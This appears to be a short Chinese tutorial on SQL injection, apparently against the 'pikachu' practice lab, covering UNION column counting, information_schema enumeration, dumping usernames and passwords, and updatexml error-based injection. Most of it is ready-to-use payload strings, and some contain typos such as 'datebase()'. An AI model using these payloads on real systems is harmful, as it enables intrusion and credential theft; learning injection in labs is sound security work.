Sql语句:
select database(); //获取数据库名称
select user();//获取用户名
select version(); //获取版本
基于union的信息获取
union联合查询:通过联合查询来寻找指定数据
notice:union联合查询需要与select字段相同。
语法:select * username,password from users where id=‘Cindy’ union select 1,2…
因此,我们在使用联合查询前需要进行字段数量的测试。
测试方法:使用order by排序功能。
order by介绍:order by在sql语句中起到对字段排序的作用。
语法:order by + num(字段的数量,>0,!>字段数均可)若大于字段数则会报错。
那么我们该如何测试呢?
基于语法特点,在num值大于字段数量是会报错,那么我们可以依次进行测试。直到其报错,字段数量为报错时num值减一,相信大家都会理解。
Information_schema注入
information_schma可以查到你的所有的搭建的数据库名、表名和列的数据类型,在一切条件未知的情况下,存在注入点的话我们可以直接尝试对information_schema进行访问,从而获得更多的信息。
获取数据库名(行话:爆库):
xxx’union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
1
获取表名(行话:爆表):
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取列(行话:爆字段):
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取密码(行话:爆数据):
xxx’union select username,password from users#
基于函数的报错注入
updatexml()
x’ and updatexml(1,concat(0x7e,version()),0)# //0x7e是波浪号的十六进制
x’ and updatexml(1,concat(0x7e,datebase()),0)#
查版本
查名称
由此可获得数据库的名称
extractvalue()
extractvalue和updatexml的效果是一样的